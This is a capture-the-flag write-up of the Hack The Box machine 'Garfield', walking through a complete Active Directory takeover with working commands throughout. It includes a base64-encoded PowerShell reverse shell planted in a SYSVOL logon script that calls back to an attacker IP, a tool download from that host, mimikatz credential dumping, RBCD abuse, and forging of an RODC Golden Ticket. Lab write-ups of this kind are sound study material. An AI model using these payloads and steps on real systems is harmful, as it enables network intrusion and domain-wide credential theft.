Garfield WriteUp
Table of Contents
Garfield is a π₯ Hard difficulty machine on Hack The Box, Season 10, created by ruycr4ft. It is an assume breach box (we start with credentials, like a real engagement) and pure Active Directory. The chain starts by abusing the scriptPath attribute to inject a logon script and pivot to l.wilson, continues with a ForceChangePassword to an account with WinRM, and for root we hit the fun part: reaching an internal Read-Only Domain Controller (RODC) hosted in Hyper-V, compromising it via RBCD, and running a RODC Golden Ticket to turn the RODC’s key into a valid ticket for the domain Administrator.
π§ An honest heads-up. This box tripped me up on environment details (tunnel, clock sync, tool versions), not on the technique itself. There is an errors and lessons section at the end with everything that wasted my time, it is probably the most useful part of this writeup.
πΊοΈ Attack Chain
j.arbuckle credentials (assume breach)
β
βΌ
BloodHound β j.arbuckle has WriteProperty on scriptPath of l.wilson and l.wilson_adm
β
βΌ
Overwrite printerDetect.bat in SYSVOL + scriptPath β action as l.wilson (logon bot)
β
βΌ
l.wilson has ForceChangePassword over l.wilson_adm β reset β WinRM β user.txt π©
β
βΌ
l.wilson_adm: AddSelf to "RODC Administrators" + WriteAccountRestrictions over RODC01
β
βΌ
Port 2179 (Hyper-V) β RODC01 at 192.168.100.2 β chisel tunnel
β
βΌ
Create ATTACKER$ + RBCD over RODC01$ β S4U β SYSTEM on RODC01
β
βΌ
mimikatz β krbtgt_8245 AES256 key + RODC01$ hash
β
βΌ
Tune the Password Replication Policy (empty NeverReveal + Administrator in RevealOnDemand)
β
βΌ
Rubeus RODC Golden Ticket β asktgs cifs/DC01 β psexec as Administrator β root.txt π΄
π Recon
Add the host to /etc/hosts and scan in two phases.
echo "10.129.244.207 dc01.garfield.htb garfield.htb DC01" | sudo tee -a /etc/hosts
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv dc01.garfield.htb
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv dc01.garfield.htb
| Port | Service | Detail |
|---|---|---|
53 | DNS | Active Directory |
88, 389, 636, 3268, 9389 | Kerberos / LDAP / GC / ADWS | Domain Controller |
135, 139, 445 | RPC / NetBIOS / SMB | Windows Server 2019 |
464 | kpasswd | |
2179 | vmrdp | Hyper-V Virtual Machine Remote Desktop |
3389 | RDP | |
5985 | WinRM |
π― Port
2179(Hyper-V vmrdp) is the big hint: DC01 hosts internal VMs. There is almost certainly an RODC on an internal network we cannot see from outside.
Credential validation
We are given j.arbuckle : Th1sD4mnC4t!@1978. Validate it:
netexec smb dc01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
netexec ldap dc01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
netexec winrm dc01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' # NOT authorized
SMB and LDAP work, but j.arbuckle has no WinRM. We need to move to another account.
β° Clock skew. The DC is +8 hours ahead of Kali. Anything Kerberos (
getST,secretsdump -k, Rubeusβ¦) will fail withKRB_AP_ERR_SKEWunless we fix it. Instead of changing the system clock, prefix Kerberos commands withfaketime:faketime -f "+8h" impacket-getST ...Mind the syntax: it is
faketime -f "+8h", notfaketime "+8h". Compute the exact offset by comparing your time to the DC’s (nmap -sT -p445 --script smb2-time).
π Enumeration with BloodHound
faketime -f "+8h" bloodhound-python -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb -dc dc01.garfield.htb -ns 10.129.244.207 -c All --zip
The interesting path: j.arbuckle has WriteProperty over the scriptPath attribute of l.wilson (and of l.wilson_adm too).
β οΈ Important correction versus what you’ll read elsewhere.
j.arbuckledoes not haveWriteDacloverl.wilson, it can only write thescriptPathattribute. I confirmed it with bloodyAD, because trying to add an ACE (to reset the password via the DACL route) fails withinsufficientAccessRights:bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host dc01.garfield.htb get writable --detail # CN=Liz Wilson,... scriptPath: WRITE # CN=Liz Wilson ADM,... scriptPath: WRITE
π Initial access, scriptPath abuse
π§ The
scriptPathattribute defines the logon script that runs when the user logs in. It is looked up under\\DC\NETLOGON\(which is\\DC\SYSVOL\<domain>\scripts\). If we can write that attribute and control the script, we get code execution in the user’s context on login. On Garfield a bot logsl.wilsonin every 1-2 minutes.
Step 1, Overwrite the logon script in SYSVOL
There is already a printerDetect.bat in \\DC\NETLOGON\. A normal user cannot create new files there, but, crucially, can overwrite the existing one:
cat > auth_ja.txt <<'EOF'
username=j.arbuckle
password=Th1sD4mnC4t!@1978
domain=garfield.htb
EOF
# build the payload (reverse shell + l.wilson_adm reset) and encode it
cat > payload.ps1 <<'PS'
try{ $p=([adsisearcher]'(samaccountname=l.wilson_adm)').FindOne().Path; ([adsi]$p).SetPassword('Garf1eld_Pwn3d!') }catch{}
try{ $c=New-Object System.Net.Sockets.TCPClient('10.10.14.142',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close() }catch{}
PS
B64=$(iconv -f UTF-8 -t UTF-16LE payload.ps1 | base64 -w0)
printf '@echo off\r\npowershell -nop -w hidden -ep bypass -enc %s\r\n' "$B64" > printerDetect.bat
# overwrite the existing one
smbclient //dc01.garfield.htb/SYSVOL -A auth_ja.txt -c 'cd garfield.htb\scripts; put printerDetect.bat printerDetect.bat'
π‘ With Samba’s
smbclient, Kerberos login kept failing (NT_STATUS_LOGON_FAILURE/ issues with the!in the password). The reliable fix is a credentials file (-A), and for SMB over the tunnel later, use theimpacket-*tools instead of Samba.
Step 2, Set scriptPath
bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host dc01.garfield.htb set object l.wilson scriptPath -v 'printerDetect.bat'
Step 3, Collect the result
Instead of depending on an interactive reverse shell (which you have to catch at the exact moment of logon), the payload I dropped resets l.wilson_adm’s password itself (because l.wilson, who runs the script, has ForceChangePassword over l.wilson_adm). So I just poll until the account authenticates:
while :; do netexec winrm dc01.garfield.htb -u l.wilson_adm -p 'Garf1eld_Pwn3d!' 2>&1 | grep -q '(Pwn3d!)' && break; sleep 15; done
π A mistake that cost me a round: I first tried to make the payload beacon by writing to an SMB share of mine (to know it had fired). It doesn’t work from the logon context (anonymous write fails). The reverse TCP shell and the autonomous reset do. Lesson: to signal, outbound TCP beats inbound SMB.
When the bot logs l.wilson in, the script resets l.wilson_adm and we get in over WinRM:
evil-winrm -i dc01.garfield.htb -u l.wilson_adm -p 'Garf1eld_Pwn3d!'
π© User Flag
type C:\Users\l.wilson_adm\Desktop\user.txt
# REDACTED
π§ The internal RODC
l.wilson_adm is a member of Remote Management Users, and in the graph it has two juicy rights over the RODC01 object:
AddSelfover the RODC Administrators group (we can add ourselves).WriteAccountRestrictionsoverRODC01$(lets us write itsmsDS-AllowedToActOnBehalfOfOtherIdentityβ RBCD, and its Password Replication Policy).
Enumerate the internal network from DC01:
ipconfig # DC01 has 10.129.244.207 and an internal interface 192.168.100.1
The RODC lives at 192.168.100.2 (rodc01.garfield.htb), reachable from DC01 but not from our Kali. Over LDAP we also confirm its msDS-KrbTgtLink is krbtgt_8245 (the RODC number is 8245) and that its msDS-RevealedUsers already lists Administrator.
netexec ldap dc01.garfield.htb -u l.wilson_adm -p 'Garf1eld_Pwn3d!' --query "(objectClass=computer)" "sAMAccountName msDS-KrbTgtLink"
π Tunnel into the internal network with chisel
We need to route traffic to 192.168.100.0/24 through DC01.
# On Kali: chisel server (use nohup+disown or it dies!)
nohup ./chisel server -p 443 --reverse >chisel.log 2>&1 & disown
# Upload the client to DC01 (my HTTP on 8000 egresses from the DC; 8889 does NOT β mind egress ports)
netexec winrm dc01.garfield.htb -u l.wilson_adm -p 'Garf1eld_Pwn3d!' -X "iwr http://10.10.14.142:8000/chisel.exe -OutFile C:\Windows\Temp\chisel.exe"
# Run the client in the foreground inside a WinRM session we leave open (so it persists)
netexec winrm dc01.garfield.htb -u l.wilson_adm -p 'Garf1eld_Pwn3d!' -X "& C:\Windows\Temp\chisel.exe client 10.10.14.142:443 R:socks" # launch in background
π This is where I lost a good chunk of time. Two traps:
- Processes launched via WinRM with
Start-Processdie when the session closes. The reliable way to keep the client alive is to run it in the foreground inside a WinRM session that you leave running in the background.- With the tunnel up,
proxychainsstill returned “Connection refused” to everything. The cause was the defaultsocks4 127.0.0.1 9050line in/etc/proxychains4.conffighting mysocks5 127.0.0.1 1080. Leaving only thesocks5 1080, the tunnel worked instantly:sed -i 's/^socks4/#socks4/' /etc/proxychains4.conf echo 'socks5 127.0.0.1 1080' >> /etc/proxychains4.conf proxychains4 -q nc -zv 192.168.100.2 445 # Connection succeeded!
ποΈ SYSTEM on RODC01 via RBCD
l.wilson_adm can write RBCD on RODC01$ (whose object lives on the writable DC, directly reachable). We create a computer account and delegate to it:
# 1) add ourselves to RODC Administrators
bloodyAD -u l.wilson_adm -p 'Garf1eld_Pwn3d!' -d garfield.htb --host 10.129.244.207 add groupMember "RODC Administrators" l.wilson_adm
# 2) create the machine account
impacket-addcomputer garfield.htb/l.wilson_adm:'Garf1eld_Pwn3d!' -dc-ip 10.129.244.207 -computer-name 'ATTACKER$' -computer-pass 'Attacker123!'
# 3) RBCD: RODC01$ trusts ATTACKER$
impacket-rbcd garfield.htb/l.wilson_adm:'Garf1eld_Pwn3d!' -delegate-to 'RODC01$' -delegate-from 'ATTACKER$' -action write -dc-ip 10.129.244.207
Request a service ticket impersonating Administrator for cifs/RODC01 (S4U):
faketime -f "+8h" impacket-getST garfield.htb/'ATTACKER$':'Attacker123!' -spn cifs/RODC01.garfield.htb -impersonate Administrator -dc-ip 10.129.244.207
export KRB5CCNAME='Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache'
And with that ticket, through the tunnel, dump the RODC’s credentials:
echo "192.168.100.2 rodc01.garfield.htb RODC01" | sudo tee -a /etc/hosts
proxychains4 -q faketime -f "+8h" impacket-secretsdump -k -no-pass rodc01.garfield.htb
From here we get the NT hash of RODC01$:
GARFIELD\RODC01$:aad3b435b51404eeaad3b435b51404ee:0a3f810964bb5e1f0e52245f73700172:::
ποΈ The krbtgt_8245 key with mimikatz
Remote secretsdump does not give us krbtgt_8245’s key (neither via DRSUAPI, the RODC can’t replicate it, nor via VSS, which only pulls the local SAM). The way that works is mimikatz locally on the RODC, which reads the RODC’s own krbtgt account. We upload mimikatz with the S4U ticket and run it:
# upload (impacket-smbclient handles Kerberos well; put takes a single argument)
proxychains4 -q faketime -f "+8h" impacket-smbclient -k -no-pass rodc01.garfield.htb
# use C$ / cd Windows\Temp / put mimikatz.exe
proxychains4 -q faketime -f "+8h" impacket-wmiexec -k -no-pass rodc01.garfield.htb \
'C:\Windows\Temp\mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt_8245" "exit"'
User : krbtgt_8245
NTLM : 445aa4221e751da37a10241d962780e2
aes256_hmac (4096) : d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240
π The domain rejects RC4, so we need the AES256 key. The domain SID came from the RBCD output:
S-1-5-21-2502726253-3859040611-225969357.
π RODC Golden Ticket β Administrator
π§ An RODC can only “reveal” (cache) the credentials of accounts its Password Replication Policy (PRP) allows. By default
Administratoris denied (via the Denied RODC Password Replication Group, which sits in the RODC’smsDS-NeverRevealGroup). Since we controlRODC01, we can rewrite that policy.
Step 1, Tune the PRP (order matters!)
# 1st CLEAR the deny, 2nd set the allow. Deny entries ALWAYS win over allow entries.
bloodyAD -u l.wilson_adm -p 'Garf1eld_Pwn3d!' -d garfield.htb --host 10.129.244.207 set object 'RODC01$' msDS-NeverRevealGroup
bloodyAD -u l.wilson_adm -p 'Garf1eld_Pwn3d!' -d garfield.htb --host 10.129.244.207 set object 'RODC01$' msDS-RevealOnDemandGroup -v 'CN=Administrator,CN=Users,DC=garfield,DC=htb'
Step 2, Forge the RODC golden ticket and request a service ticket
With krbtgt_8245’s AES256 key we forge a TGT for Administrator “issued by the RODC”, and use it to request a cifs/DC01 ticket from the writable DC (which now honors it, because the PRP allows it). Rubeus runs on the RODC (where no AV blocks it):
# forge the TGT (RODC 8245)
C:\Windows\Temp\Rubeus.exe golden /rodcNumber:8245 /aes256:d6c93cbe...e240 /user:Administrator /id:500 /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357 /nowrap
# request cifs/DC01 with that TGT
C:\Windows\Temp\Rubeus.exe asktgs /ticket:<TGT_B64> /service:cifs/DC01.garfield.htb /dc:dc01.garfield.htb /nowrap
# [+] TGS request successful!
π Two things kept me going in circles here, and are the main reason for the delay:
impacket-keylistattackalways returnedKDC_ERR_TGT_REVOKED(“User Administrator is not allowed to have passwords replicated in RODCs”) even with the PRP correctly set. Instead of fighting that variant, the path that works is the one above: golden β asktgs cifs/DC01 β psexec.- The Rubeus version. With Rubeus from Ghostpack-CompiledBinaries (v2.2.0) the
asktgsfailed withKRB_AP_ERR_BAD_INTEGRITY(a known bug). With Rubeus v2.3.3+ (e.g. from SharpCollection) it worked first try. If you see BAD_INTEGRITY with the correct key, update Rubeus.
Step 3, Access as Administrator and root
Convert the cifs ticket and use it against DC01:
echo '<CIFS_TICKET_B64>' | base64 -d > cifs.kirbi
impacket-ticketConverter cifs.kirbi cifs.ccache
export KRB5CCNAME=cifs.ccache
faketime -f "+8h" impacket-wmiexec -k -no-pass Administrator@DC01.garfield.htb 'whoami'
# garfield\administrator
π΄ Root Flag
faketime -f "+8h" impacket-wmiexec -k -no-pass Administrator@DC01.garfield.htb 'type C:\Users\Administrator\Desktop\root.txt'
# REDACTED
π§― Errors, lessons and why it took so long
Garfield’s technique is clear, what makes it hard (and what cost me time) is the environment. Here are the bumps in case they save you hours:
| Symptom | Cause | Fix |
|---|---|---|
KRB_AP_ERR_SKEW on all Kerberos | DC clock +8h | faketime -f "+8h" <cmd> (with -f!) |
| Servers (chisel/http) died on their own | Background procs die when the WSL shell exits | nohup ... & disown |
proxychains “Connection refused” to everything | Default socks4 9050 line conflict | Keep only socks5 127.0.0.1 1080 |
| chisel client didn’t persist | Start-Process via WinRM dies with the session | Run it foreground in an open WinRM session |
smbclient Kerberos login fail | Samba + ! in the password + kerberos over tunnel | -A file for NTLM, impacket-* for Kerberos |
keylistattack β TGT_REVOKED | Fiddly KERB-KEY-LIST variant vs the PRP | Use golden + asktgs cifs/DC01 |
Rubeus BAD_INTEGRITY with correct key | Rubeus v2.2.0 bug | Rubeus v2.3.3+ (SharpCollection) |
| “not allowed to replicate” despite PRP edits | Policy order | Clear NeverRevealGroup first, then RevealOnDemand |
Couldn’t create the .bat in NETLOGON | Normal users can’t create new files there | Overwrite the existing printerDetect.bat |
And a methodology note: verify permissions on the box, don’t trust other people’s writeups. Several sources claimed j.arbuckle had WriteDacl over l.wilson, in reality it only has WriteProperty over scriptPath. Taking that assumption at face value cost me an attempt on a password reset that was never going to work.
π Chain summary
| # | Technique | Tool | Result |
|---|---|---|---|
| 1 | Recon | nmap | DC + port 2179 (Hyper-V) |
| 2 | AD enum | bloodhound-python | j.arbuckle β WriteProperty on scriptPath |
| 3 | Logon script | smbclient + bloodyAD | action as l.wilson (logon bot) |
| 4 | Lateral movement | ForceChangePassword | WinRM as l.wilson_adm + user.txt π© |
| 5 | Tunnel | chisel (R:socks) + proxychains | access to 192.168.100.0/24 β RODC01 |
| 6 | RBCD | addcomputer + rbcd + getST | SYSTEM on RODC01 |
| 7 | RODC creds | mimikatz | AES256 of krbtgt_8245 + RODC01$ hash |
| 8 | PRP | bloodyAD | empty NeverReveal + Administrator in RevealOnDemand |
| 9 | RODC Golden Ticket | Rubeus golden + asktgs | cifs/DC01 ticket as Administrator |
| 10 | Domain Admin | impacket-wmiexec -k | Domain Admin + root.txt π΄ |
See you in the next challenge.
